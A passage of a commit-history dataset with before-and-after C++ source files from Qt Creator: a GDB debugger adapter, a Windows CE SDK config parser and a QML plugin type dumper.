%1\")\n                .arg(state()));\n            m_gdbProc.kill();\n        }\n        m_engine->postCommand(_(\"-gdb-exit\"), CB(handleExit));\n        return;\n*\/\n    default:\n        QTC_ASSERT(false, qDebug() << state());\n    }\n}\n\nvoid PlainGdbAdapter::handleKill(const GdbResponse &response)\n{\n    debugMessage(_(\"PLAIN ADAPTER HANDLE KILL \" + response.toString()));\n    if (response.resultClass == GdbResultDone) {\n        setState(InferiorShutDown);\n        emit inferiorShutDown();\n        shutdown(); \/\/ re-iterate...\n    } else if (response.resultClass == GdbResultError) {\n        QString msg = tr(\"Inferior process could not be stopped:\\n\") +\n            __(response.data.findChild(\"msg\").data());\n        setState(InferiorShutdownFailed);\n        emit inferiorShutdownFailed(msg);\n    }\n}\n\nvoid PlainGdbAdapter::handleExit(const GdbResponse &response)\n{\n    if (response.resultClass == GdbResultDone) {\n        \/\/ don't set state here, this will be handled in handleGdbFinished()\n    } else if (response.resultClass == GdbResultError) {\n        QString msg = tr(\"Gdb process could not be stopped:\\n\") +\n            __(response.data.findChild(\"msg\").data());\n        emit adapterShutdownFailed(msg);\n    }\n}\n\nvoid PlainGdbAdapter::handleGdbFinished(int, QProcess::ExitStatus)\n{\n    debugMessage(_(\"GDB PROCESS FINISHED\"));\n    emit adapterShutDown();\n}\n\nvoid PlainGdbAdapter::stubStarted()\n{\n    const qint64 attachedPID = m_stubProc.applicationPID();\n    emit inferiorPidChanged(attachedPID);\n    m_engine->postCommand(_(\"attach %1\").arg(attachedPID), CB(handleStubAttached));\n}\n\nvoid PlainGdbAdapter::handleStubAttached(const GdbResponse &)\n{\n    qDebug() << \"STUB ATTACHED, FIXME\";\n    \/\/qq->notifyInferiorStopped();\n    \/\/handleAqcuiredInferior();\n}\n\nvoid PlainGdbAdapter::stubError(const QString &msg)\n{\n    QMessageBox::critical(m_engine->mainWindow(), tr(\"Debugger Error\"), msg);\n}\n\nvoid PlainGdbAdapter::emitAdapterStartFailed(const QString &msg)\n{\n    \/\/  QMessageBox::critical(mainWindow(), tr(\"Debugger Startup Failure\"),\n    \/\/    tr(\"Cannot start debugger: %1\").arg(m_gdbAdapter->errorString()));\n    bool blocked = m_stubProc.blockSignals(true);\n    m_stubProc.stop();\n    m_stubProc.blockSignals(blocked);\n    emit adapterStartFailed(msg);\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace Debugger\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2008-2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact:  Qt Software Information (qt-info@nokia.com)\n**\n**\n** Non-Open Source Usage\n**\n** Licensees may use this file in accordance with the Qt Beta Version\n** License Agreement, Agreement version 2.2 provided with the Software or,\n** alternatively, in accordance with the terms contained in a written\n** agreement between you and Nokia.\n**\n** GNU General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU General\n** Public License versions 2.0 or 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the packaging\n** of this file.  Please review the following information to ensure GNU\n** General Public Licensing requirements will be met:\n**\n** http:\/\/www.fsf.org\/licensing\/licenses\/info\/GPLv2.html and\n** http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt GPL Exception\n** version 1.3, included in the file GPL_EXCEPTION.txt in this package.\n**\n***************************************************************************\/\n\n#include \"cesdkhandler.h\"\n\n#include <QtCore\/QFile>\n#include <QtCore\/QDebug>\n#include <QtCore\/QXmlStreamReader>\n\nusing namespace ProjectExplorer;\nusing namespace ProjectExplorer::Internal;\nusing ProjectExplorer::Environment;\n\nCeSdkInfo::CeSdkInfo()\n    : m_major(0), m_minor(0)\n{\n}\n\nvoid CeSdkInfo::addToEnvironment(Environment &env)\n{\n    qDebug() << \"adding \" << name() << \"to Environment\";\n    env.set(\"INCLUDE\", m_include);\n    env.set(\"LIB\", m_lib);\n    env.prependOrSetPath(m_bin);\n    qDebug()<<env.toStringList();\n}\n\nCeSdkHandler::CeSdkHandler()\n{\n}\n\nQString CeSdkHandler::platformName(const QString &qtpath)\n{\n    QString platformName;\n    QString CE_SDK;\n    QString CE_ARCH;\n    QFile f(qtpath);\n    if (f.exists() && f.open(QIODevice::ReadOnly)) {\n        while (!f.atEnd()) {\n            QByteArray line = f.readLine();\n            if (line.startsWith(\"CE_SDK\")) {\n                int index = line.indexOf('=');\n                if (index >= 0) {\n                    CE_SDK = line.mid(index + 1).trimmed();\n                }\n            } else if (line.startsWith(\"CE_ARCH\")) {\n                int index = line.indexOf('=');\n                if (index >= 0) {\n                    CE_ARCH = line.mid(index + 1).trimmed();\n                }\n            }\n            if (!CE_SDK.isEmpty() && !CE_ARCH.isEmpty()) {\n                platformName = CE_SDK + \" (\" + CE_ARCH + \")\";\n                break;\n            }\n        }\n    }\n    return platformName;\n}\n\nbool CeSdkHandler::parse(const QString &vsdir)\n{\n    \/\/ look at the file at %VCInstallDir%\/vcpackages\/WCE.VCPlatform.config\n    \/\/ and scan through all installed sdks...    \n    m_list.clear();\n\n    VCInstallDir = vsdir + \"\/VC\/\";\n    VSInstallDir = vsdir;\n\n    QDir vStudioDir(VCInstallDir);\n    if (!vStudioDir.cd(\"vcpackages\"))\n        return false;\n\n    QFile configFile(vStudioDir.absoluteFilePath(QLatin1String(\"WCE.VCPlatform.config\")));\n    qDebug()<<\"##\";\n    if (!configFile.exists() || !configFile.open(QIODevice::ReadOnly))\n        return false;\n\n    qDebug()<<\"parsing\";\n    \n    QString currentElement;\n    CeSdkInfo currentItem;\n    QXmlStreamReader xml(&configFile);\n    while (!xml.atEnd()) {\n        xml.readNext();\n        if (xml.isStartElement()) {\n            currentElement = xml.name().toString();\n            if (currentElement == QLatin1String(\"Platform\"))\n                currentItem = CeSdkInfo();\n            else if (currentElement == QLatin1String(\"Directories\")) {\n                QXmlStreamAttributes attr = xml.attributes();\n                currentItem.m_include = fixPaths(attr.value(QLatin1String(\"Include\")).toString());\n                currentItem.m_lib = fixPaths(attr.value(QLatin1String(\"Library\")).toString());\n                currentItem.m_bin = fixPaths(attr.value(QLatin1String(\"Path\")).toString());\n            }\n        } else if (xml.isEndElement()) {\n            if (xml.name().toString() == QLatin1String(\"Platform\"))\n                m_list.append(currentItem);\n        } else if (xml.isCharacters() && !xml.isWhitespace()) {\n            if (currentElement == QLatin1String(\"PlatformName\"))\n                currentItem.m_name = xml.text().toString();\n            else if (currentElement == QLatin1String(\"OSMajorVersion\"))\n                currentItem.m_major = xml.text().toString().toInt();\n            else if (currentElement == QLatin1String(\"OSMinorVersion\"))\n                currentItem.m_minor = xml.text().toString().toInt();\n        }\n    }\n\n    if (xml.error() && xml.error() != QXmlStreamReader::PrematureEndOfDocumentError) {\n        qWarning() << \"XML ERROR:\" << xml.lineNumber() << \": \" << xml.errorString();\n        return false;\n    }\n    return m_list.size() > 0 ? true : false;\n}\n\nCeSdkInfo CeSdkHandler::find(const QString &name)\n{\n    qDebug() << \"looking for platform \" << name;\n    for (QList<CeSdkInfo>::iterator it = m_list.begin(); it != m_list.end(); ++it) {\n        qDebug() << \"....\" << it->name();\n        if (it->name() == name)\n            return *it;\n    }\n    return CeSdkInfo();\n}\n<commit_msg>Compile.<commit_after>\/***************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2008-2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact:  Qt Software Information (qt-info@nokia.com)\n**\n**\n** Non-Open Source Usage\n**\n** Licensees may use this file in accordance with the Qt Beta Version\n** License Agreement, Agreement version 2.2 provided with the Software or,\n** alternatively, in accordance with the terms contained in a written\n** agreement between you and Nokia.\n**\n** GNU General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU General\n** Public License versions 2.0 or 3.0 as published by the Free Software\n** Foundation and appearing in the file LICENSE.GPL included in the packaging\n** of this file.  Please review the following information to ensure GNU\n** General Public Licensing requirements will be met:\n**\n** http:\/\/www.fsf.org\/licensing\/licenses\/info\/GPLv2.html and\n** http:\/\/www.gnu.org\/copyleft\/gpl.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt GPL Exception\n** version 1.3, included in the file GPL_EXCEPTION.txt in this package.\n**\n***************************************************************************\/\n\n#include \"cesdkhandler.h\"\n\n#include <QtCore\/QFile>\n#include <QtCore\/QDebug>\n#include <QtCore\/QXmlStreamReader>\n\nusing namespace ProjectExplorer;\nusing namespace ProjectExplorer::Internal;\nusing ProjectExplorer::Environment;\n\nCeSdkInfo::CeSdkInfo()\n    : m_major(0), m_minor(0)\n{\n}\n\nvoid CeSdkInfo::addToEnvironment(Environment &env)\n{\n    qDebug() << \"adding \" << name() << \"to Environment\";\n    env.set(\"INCLUDE\", m_include);\n    env.set(\"LIB\", m_lib);\n    env.prependOrSetPath(m_bin);\n    qDebug()<<env.toStringList();\n}\n\nCeSdkHandler::CeSdkHandler()\n{\n}\n\nQString CeSdkHandler::platformName(const QString &qtpath)\n{\n    QString platformName;\n    QString CE_SDK;\n    QString CE_ARCH;\n    QFile f(qtpath);\n    if (f.exists() && f.open(QIODevice::ReadOnly)) {\n        while (!f.atEnd()) {\n            QByteArray line = f.readLine();\n            if (line.startsWith(\"CE_SDK\")) {\n                int index = line.indexOf('=');\n                if (index >= 0) {\n                    CE_SDK = line.mid(index + 1).trimmed();\n                }\n            } else if (line.startsWith(\"CE_ARCH\")) {\n                int index = line.indexOf('=');\n                if (index >= 0) {\n                    CE_ARCH = line.mid(index + 1).trimmed();\n                }\n            }\n            if (!CE_SDK.isEmpty() && !CE_ARCH.isEmpty()) {\n                platformName = CE_SDK + \" (\" + CE_ARCH + \")\";\n                break;\n            }\n        }\n    }\n    return platformName;\n}\n\nbool CeSdkHandler::parse(const QString &vsdir)\n{\n    \/\/ look at the file at %VCInstallDir%\/vcpackages\/WCE.VCPlatform.config\n    \/\/ and scan through all installed sdks...\n    m_list.clear();\n\n    VCInstallDir = vsdir + \"\/VC\/\";\n    VSInstallDir = vsdir;\n\n    QDir vStudioDir(VCInstallDir);\n    if (!vStudioDir.cd(\"vcpackages\"))\n        return false;\n\n    QFile configFile(vStudioDir.absoluteFilePath(QLatin1String(\"WCE.VCPlatform.config\")));\n    qDebug()<<\"##\";\n    if (!configFile.exists() || !configFile.open(QIODevice::ReadOnly))\n        return false;\n\n    qDebug()<<\"parsing\";\n\n    QString currentElement;\n    CeSdkInfo currentItem;\n    QXmlStreamReader xml(&configFile);\n    while (!xml.atEnd()) {\n        xml.readNext();\n        if (xml.isStartElement()) {\n            currentElement = xml.name().toString();\n            if (currentElement == QLatin1String(\"Platform\"))\n                currentItem = CeSdkInfo();\n            else if (currentElement == QLatin1String(\"Directories\")) {\n                QXmlStreamAttributes attr = xml.attributes();\n                currentItem.m_include = fixPaths(attr.value(QLatin1String(\"Include\")).toString());\n                currentItem.m_lib = fixPaths(attr.value(QLatin1String(\"Library\")).toString());\n                currentItem.m_bin = fixPaths(attr.value(QLatin1String(\"Path\")).toString());\n            }\n        } else if (xml.isEndElement()) {\n            if (xml.name().toString() == QLatin1String(\"Platform\"))\n                m_list.append(currentItem);\n        } else if (xml.isCharacters() && !xml.isWhitespace()) {\n            if (currentElement == QLatin1String(\"PlatformName\"))\n                currentItem.m_name = xml.text().toString();\n            else if (currentElement == QLatin1String(\"OSMajorVersion\"))\n                currentItem.m_major = xml.text().toString().toInt();\n            else if (currentElement == QLatin1String(\"OSMinorVersion\"))\n                currentItem.m_minor = xml.text().toString().toInt();\n        }\n    }\n\n    if (xml.error() && xml.error() != QXmlStreamReader::PrematureEndOfDocumentError) {\n        qWarning() << \"XML ERROR:\" << xml.lineNumber() << \": \" << xml.errorString();\n        return false;\n    }\n    return m_list.size() > 0 ? true : false;\n}\n\nCeSdkInfo CeSdkHandler::find(const QString &name)\n{\n    qDebug() << \"looking for platform \" << name;\n    for (QList<CeSdkInfo>::iterator it = m_list.begin(); it != m_list.end(); ++it) {\n        qDebug() << \"....\" << it->name();\n        if (it->name() == name)\n            return *it;\n    }\n    return CeSdkInfo();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** No Commercial Usage\n**\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**************************************************************************\/\n\n#include \"qmljsplugindumper.h\"\n#include \"qmljsmodelmanager.h\"\n\n#include <qmljs\/qmljsdocument.h>\n#include <qmljs\/qmljsinterpreter.h>\n#include <projectexplorer\/filewatcher.h>\n#include <projectexplorer\/projectexplorer.h>\n#include <coreplugin\/messagemanager.h>\n\n#include <QtCore\/QDir>\n\nusing namespace LanguageUtils;\nusing namespace QmlJS;\nusing namespace QmlJSTools;\nusing namespace QmlJSTools::Internal;\n\nPluginDumper::PluginDumper(ModelManager *modelManager)\n    : QObject(modelManager)\n    , m_modelManager(modelManager)\n    , m_pluginWatcher(new ProjectExplorer::FileWatcher(this))\n{\n    connect(m_pluginWatcher, SIGNAL(fileChanged(QString)), SLOT(pluginChanged(QString)));\n}\n\nvoid PluginDumper::loadPluginTypes(const QString &libraryPath, const QString &importPath, const QString &importUri, const QString &importVersion)\n{\n    \/\/ move to the owning thread\n    metaObject()->invokeMethod(this, \"onLoadPluginTypes\",\n                               Q_ARG(QString, libraryPath),\n                               Q_ARG(QString, importPath),\n                               Q_ARG(QString, importUri),\n                               Q_ARG(QString, importVersion));\n}\n\nvoid PluginDumper::onLoadPluginTypes(const QString &libraryPath, const QString &importPath, const QString &importUri, const QString &importVersion)\n{\n    const QString canonicalLibraryPath = QDir::cleanPath(libraryPath);\n    if (m_runningQmldumps.values().contains(canonicalLibraryPath))\n        return;\n    const Snapshot snapshot = m_modelManager->snapshot();\n    const LibraryInfo libraryInfo = snapshot.libraryInfo(canonicalLibraryPath);\n    if (libraryInfo.dumpStatus() != LibraryInfo::DumpNotStartedOrRunning)\n        return;\n\n    \/\/ avoid inserting the same plugin twice\n    int index;\n    for (index = 0; index < m_plugins.size(); ++index) {\n        if (m_plugins.at(index).qmldirPath == libraryPath)\n            break;\n    }\n    if (index == m_plugins.size())\n        m_plugins.append(Plugin());\n\n    Plugin &plugin = m_plugins[index];\n    plugin.qmldirPath = canonicalLibraryPath;\n    plugin.importPath = importPath;\n    plugin.importUri = importUri;\n    plugin.importVersion = importVersion;\n\n    \/\/ watch plugin libraries\n    foreach (const QmlDirParser::Plugin &plugin, snapshot.libraryInfo(canonicalLibraryPath).plugins()) {\n        const QString pluginLibrary = resolvePlugin(canonicalLibraryPath, plugin.path, plugin.name);\n        m_pluginWatcher->addFile(pluginLibrary);\n        m_libraryToPluginIndex.insert(pluginLibrary, index);\n    }\n\n    \/\/ watch library xml file\n    if (plugin.hasPredumpedQmlTypesFile()) {\n        const QString &path = plugin.predumpedQmlTypesFilePath();\n        m_pluginWatcher->addFile(path);\n        m_libraryToPluginIndex.insert(path, index);\n    }\n\n    dump(plugin);\n}\n\nvoid PluginDumper::scheduleCompleteRedump()\n{\n    metaObject()->invokeMethod(this, \"dumpAllPlugins\", Qt::QueuedConnection);\n}\n\nvoid PluginDumper::dumpAllPlugins()\n{\n    foreach (const Plugin &plugin, m_plugins)\n        dump(plugin);\n}\n\nstatic QString qmldumpErrorMessage(const QString &libraryPath, const QString &error)\n{\n    return PluginDumper::tr(\"Type dump of QML plugin in %1 failed.\\nErrors:\\n%2\\n\").\n           arg(libraryPath, error);\n}\n\nstatic QString qmldumpFailedMessage(const QString &error)\n{\n    QString firstLines =\n            QStringList(error.split(QLatin1Char('\\n')).mid(0, 10)).join(QLatin1String(\"\\n\"));\n    return PluginDumper::tr(\"Type dump of C++ plugin failed.\\n\"\n                            \"First 10 lines or errors:\\n\"\n                            \"\\n\"\n                            \"%1\"\n                            \"\\n\"\n                            \"Check 'General Messages' output pane for details.\"\n                            ).arg(firstLines);\n}\n\nstatic QList<FakeMetaObject::ConstPtr> parseHelper(const QByteArray &qmlTypeDescriptions, QString *error)\n{\n    QList<FakeMetaObject::ConstPtr> ret;\n    QHash<QString, FakeMetaObject::ConstPtr> newObjects;\n    *error = Interpreter::CppQmlTypesLoader::parseQmlTypeDescriptions(qmlTypeDescriptions, &newObjects);\n\n    if (error->isEmpty()) {\n        ret = newObjects.values();\n    }\n    return ret;\n}\n\nvoid PluginDumper::qmlPluginTypeDumpDone(int exitCode)\n{\n    QProcess *process = qobject_cast<QProcess *>(sender());\n    if (!process)\n        return;\n    process->deleteLater();\n\n    const QString libraryPath = m_runningQmldumps.take(process);\n    const Snapshot snapshot = m_modelManager->snapshot();\n    LibraryInfo libraryInfo = snapshot.libraryInfo(libraryPath);\n\n    if (exitCode != 0) {\n        Core::MessageManager *messageManager = Core::MessageManager::instance();\n        const QString errorMessages = process->readAllStandardError();\n        messageManager->printToOutputPane(qmldumpErrorMessage(libraryPath, errorMessages));\n        libraryInfo.setDumpStatus(LibraryInfo::DumpError, qmldumpFailedMessage(errorMessages));\n    }\n\n    const QByteArray output = process->readAllStandardOutput();\n    QString error;\n    QList<FakeMetaObject::ConstPtr> objectsList = parseHelper(output, &error);\n    if (exitCode == 0 && !error.isEmpty()) {\n        libraryInfo.setDumpStatus(LibraryInfo::DumpError, tr(\"Type dump of C++ plugin failed. Parse error:\\n'%1'\").arg(error));\n    }\n\n    if (exitCode == 0 && error.isEmpty()) {\n        libraryInfo.setMetaObjects(objectsList);\n\/\/ ### disabled code path for running qmldump to get Qt's builtins\n\/\/        if (libraryPath.isEmpty())\n\/\/            Interpreter::CppQmlTypesLoader::builtinObjects.append(objectsList);\n        libraryInfo.setDumpStatus(LibraryInfo::DumpDone);\n    }\n\n    if (!libraryPath.isEmpty())\n        m_modelManager->updateLibraryInfo(libraryPath, libraryInfo);\n}\n\nvoid PluginDumper::qmlPluginTypeDumpError(QProcess::ProcessError)\n{\n    QProcess *process = qobject_cast<QProcess *>(sender());\n    if (!process)\n        return;\n    process->deleteLater();\n\n    const QString libraryPath = m_runningQmldumps.take(process);\n\n    Core::MessageManager *messageManager = Core::MessageManager::instance();\n    const QString errorMessages = process->readAllStandardError();\n    messageManager->printToOutputPane(qmldumpErrorMessage(libraryPath, errorMessages));\n\n    if (!libraryPath.isEmpty()) {\n        const Snapshot snapshot = m_modelManager->snapshot();\n        LibraryInfo libraryInfo = snapshot.libraryInfo(libraryPath);\n        libraryInfo.setDumpStatus(LibraryInfo::DumpError, qmldumpFailedMessage(errorMessages));\n        m_modelManager->updateLibraryInfo(libraryPath, libraryInfo);\n    }\n}\n\nvoid PluginDumper::pluginChanged(const QString &pluginLibrary)\n{\n    const int pluginIndex = m_libraryToPluginIndex.value(pluginLibrary, -1);\n    if (pluginIndex == -1)\n        return;\n\n    const Plugin &plugin = m_plugins.at(pluginIndex);\n    dump(plugin);\n}\n\nvoid PluginDumper::dump(const Plugin &plugin)\n{\n    if (plugin.hasPredumpedQmlTypesFile()) {\n        const Snapshot snapshot = m_modelManager->snapshot();\n        LibraryInfo libraryInfo = snapshot.libraryInfo(plugin.qmldirPath);\n        if (!libraryInfo.isValid())\n            return;\n\n        const QString &path = plugin.predumpedQmlTypesFilePath();\n        QFile libraryQmlTypesFile(path);\n        if (!libraryQmlTypesFile.open(QFile::ReadOnly | QFile::Text)) {\n            libraryInfo.setDumpStatus(LibraryInfo::DumpError,\n                                      tr(\"Could not open file '%1' for reading.\").arg(path));\n            m_modelManager->updateLibraryInfo(plugin.qmldirPath, libraryInfo);\n            return;\n        }\n\n        const QByteArray qmlTypeDescriptions = libraryQmlTypesFile.readAll();\n        libraryQmlTypesFile.close();\n\n        QString error;\n        const QList<FakeMetaObject::ConstPtr> objectsList = parseHelper(qmlTypeDescriptions, &error);\n\n        if (error.isEmpty()) {\n            libraryInfo.setMetaObjects(objectsList);\n            libraryInfo.setDumpStatus(LibraryInfo::DumpDone);\n        } else {\n            libraryInfo.setDumpStatus(LibraryInfo::DumpError,\n                                      tr(\"Failed to parse '%1'.\\nError: %2\").arg(path, error));\n        }\n        m_modelManager->updateLibraryInfo(plugin.qmldirPath, libraryInfo);\n        return;\n    }\n\n    ProjectExplorer::Project *activeProject = ProjectExplorer::ProjectExplorerPlugin::instance()->startupProject();\n    if (!activeProject)\n        return;\n\n    ModelManagerInterface::ProjectInfo info = m_modelManager->projectInfo(activeProject);\n\n    if (info.qmlDumpPath.isEmpty()) {\n        const Snapshot snapshot = m_modelManager->snapshot();\n        LibraryInfo libraryInfo = snapshot.libraryInfo(plugin.qmldirPath);\n        if (!libraryInfo.isValid())\n            return;\n\n        libraryInfo.setDumpStatus(LibraryInfo::DumpError,\n                                  tr(\"Could not locate the helper application for dumping type information from C++ plugins.\\n\"\n                                     \"Please build the debugging helpers on the Qt version options page.\"));\n        m_modelManager->updateLibraryInfo(plugin.qmldirPath, libraryInfo);\n        return;\n    }\n\n    QProcess *process = new QProcess(this);\n    process->setEnvironment(info.qmlDumpEnvironment.toStringList());\n    connect(process, SIGNAL(finished(int)), SLOT(qmlPluginTypeDumpDone(int)));\n    connect(process, SIGNAL(error(QProcess::ProcessError)), SLOT(qmlPluginTypeDumpError(QProcess::ProcessError)));\n    QStringList args;\n    args << QLatin1String(\"--notrelocatable\");\n    if (plugin.importUri.isEmpty()) {\n        args << QLatin1String(\"--path\");\n        args << plugin.importPath;\n        if (ComponentVersion(plugin.importVersion).isValid())\n            args << plugin.importVersion;\n    } else {\n        args << plugin.importUri;\n        args << plugin.importVersion;\n        args << plugin.importPath;\n    }\n    process->start(info.qmlDumpPath, args);\n    m_runningQmldumps.insert(process, plugin.qmldirPath);\n}\n\n\/*!\n  Returns the result of the merge of \\a baseName with \\a path, \\a suffixes, and \\a prefix.\n  The \\a prefix must contain the dot.\n\n  \\a qmldirPath is the location of the qmldir file.\n\n  Adapted from QDeclarativeImportDatabase::resolvePlugin.\n*\/\nQString PluginDumper::resolvePlugin(const QDir &qmldirPath, const QString &qmldirPluginPath,\n                                    const QString &baseName, const QStringList &suffixes,\n                                    const QString &prefix)\n{\n    QStringList searchPaths;\n    searchPaths.append(QLatin1String(\".\"));\n\n    bool qmldirPluginPathIsRelative = QDir::isRelativePath(qmldirPluginPath);\n    if (!qmldirPluginPathIsRelative)\n        searchPaths.prepend(qmldirPluginPath);\n\n    foreach (const QString &pluginPath, searchPaths) {\n\n        QString resolvedPath;\n\n        if (pluginPath == QLatin1String(\".\")) {\n            if (qmldirPluginPathIsRelative)\n                resolvedPath = qmldirPath.absoluteFilePath(qmldirPluginPath);\n            else\n                resolvedPath = qmldirPath.absolutePath();\n        } else {\n            resolvedPath = pluginPath;\n        }\n\n        QDir dir(resolvedPath);\n        foreach (const QString &suffix, suffixes) {\n            QString pluginFileName = prefix;\n\n            pluginFileName += baseName;\n            pluginFileName += suffix;\n\n            QFileInfo fileInfo(dir, pluginFileName);\n\n            if (fileInfo.exists())\n                return fileInfo.absoluteFilePath();\n        }\n    }\n\n    return QString();\n}\n\n\/*!\n  Returns the result of the merge of \\a baseName with \\a dir and the platform suffix.\n\n  Adapted from QDeclarativeImportDatabase::resolvePlugin.\n\n  \\table\n  \\header \\i Platform \\i Valid suffixes\n  \\row \\i Windows     \\i \\c .dll\n  \\row \\i Unix\/Linux  \\i \\c .so\n  \\row \\i AIX  \\i \\c .a\n  \\row \\i HP-UX       \\i \\c .sl, \\c .so (HP-UXi)\n  \\row \\i Mac OS X    \\i \\c .dylib, \\c .bundle, \\c .so\n  \\row \\i Symbian     \\i \\c .dll\n  \\endtable\n\n  Version number on unix are ignored.\n*\/\nQString PluginDumper::resolvePlugin(const QDir &qmldirPath, const QString &qmldirPluginPath,\n                                    const QString &baseName)\n{\n#if defined(Q_OS_WIN32) || defined(Q_OS_WINCE)\n    return resolvePlugin(qmldirPath, qmldirPluginPath, baseName,\n                         QStringList()\n                         << QLatin1String(\"d.dll\") \/\/ try a qmake-style debug build first\n                         << QLatin1String(\".dll\"));\n#elif defined(Q_OS_DARWIN)\n    return resolvePlugin(qmldirPath, qmldirPluginPath, baseName,\n                         QStringList()\n                         << QLatin1String(\"_debug.dylib\") \/\/ try a qmake-style debug build first\n                         << QLatin1String(\".dylib\")\n                         << QLatin1String(\".so\")\n                         << QLatin1String(\".bundle\"),\n                         QLatin1String(\"lib\"));\n#else  \/\/ Generic Unix\n    QStringList validSuffixList;\n\n#  if defined(Q_OS_HPUX)\n\/*\n    See \"HP-UX Linker and Libraries User's Guide\", section \"Link-time Differences between PA-RISC and IPF\":\n    \"In PA-RISC (PA-32 and PA-64) shared libraries are suffixed with .sl. In IPF (32-bit and 64-bit),\n    the shared libraries are suffixed with .so. For compatibility, the IPF linker also supports the .sl suffix.\"\n *\/\n    validSuffixList << QLatin1String(\".sl\");\n#   if defined __ia64\n    validSuffixList << QLatin1String(\".so\");\n#   endif\n#  elif defined(Q_OS_AIX)\n    validSuffixList << QLatin1String(\".a\") << QLatin1String(\".so\");\n#  elif defined(Q_OS_UNIX)\n    validSuffixList << QLatin1String(\".so\");\n#  endif\n\n    \/\/ Examples of valid library names:\n    \/\/  libfoo.so\n\n    return resolvePlugin(qmldirPath, qmldirPluginPath, baseName, validSuffixList, QLatin1String(\"lib\"));\n#endif\n}\n\nbool PluginDumper::Plugin::hasPredumpedQmlTypesFile() const\n{\n    return QFileInfo(predumpedQmlTypesFilePath()).isFile();\n}\n\nQString PluginDumper::Plugin::predumpedQmlTypesFilePath() const\n{\n    return QString(\"%1%2plugins.qmltypes\").arg(qmldirPath, QDir::separator());\n}\n<commit_msg>QmlJSEditor: Don't warn about failing dumps if dumper is from 2.1<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** No Commercial Usage\n**\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights.  These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**************************************************************************\/\n\n#include \"qmljsplugindumper.h\"\n#include \"qmljsmodelmanager.h\"\n\n#include <qmljs\/qmljsdocument.h>\n#include <qmljs\/qmljsinterpreter.h>\n#include <projectexplorer\/filewatcher.h>\n#include <projectexplorer\/projectexplorer.h>\n#include <coreplugin\/messagemanager.h>\n\n#include <QtCore\/QDir>\n\nusing namespace LanguageUtils;\nusing namespace QmlJS;\nusing namespace QmlJSTools;\nusing namespace QmlJSTools::Internal;\n\nPluginDumper::PluginDumper(ModelManager *modelManager)\n    : QObject(modelManager)\n    , m_modelManager(modelManager)\n    , m_pluginWatcher(new ProjectExplorer::FileWatcher(this))\n{\n    connect(m_pluginWatcher, SIGNAL(fileChanged(QString)), SLOT(pluginChanged(QString)));\n}\n\nvoid PluginDumper::loadPluginTypes(const QString &libraryPath, const QString &importPath, const QString &importUri, const QString &importVersion)\n{\n    \/\/ move to the owning thread\n    metaObject()->invokeMethod(this, \"onLoadPluginTypes\",\n                               Q_ARG(QString, libraryPath),\n                               Q_ARG(QString, importPath),\n                               Q_ARG(QString, importUri),\n                               Q_ARG(QString, importVersion));\n}\n\nvoid PluginDumper::onLoadPluginTypes(const QString &libraryPath, const QString &importPath, const QString &importUri, const QString &importVersion)\n{\n    const QString canonicalLibraryPath = QDir::cleanPath(libraryPath);\n    if (m_runningQmldumps.values().contains(canonicalLibraryPath))\n        return;\n    const Snapshot snapshot = m_modelManager->snapshot();\n    const LibraryInfo libraryInfo = snapshot.libraryInfo(canonicalLibraryPath);\n    if (libraryInfo.dumpStatus() != LibraryInfo::DumpNotStartedOrRunning)\n        return;\n\n    \/\/ avoid inserting the same plugin twice\n    int index;\n    for (index = 0; index < m_plugins.size(); ++index) {\n        if (m_plugins.at(index).qmldirPath == libraryPath)\n            break;\n    }\n    if (index == m_plugins.size())\n        m_plugins.append(Plugin());\n\n    Plugin &plugin = m_plugins[index];\n    plugin.qmldirPath = canonicalLibraryPath;\n    plugin.importPath = importPath;\n    plugin.importUri = importUri;\n    plugin.importVersion = importVersion;\n\n    \/\/ watch plugin libraries\n    foreach (const QmlDirParser::Plugin &plugin, snapshot.libraryInfo(canonicalLibraryPath).plugins()) {\n        const QString pluginLibrary = 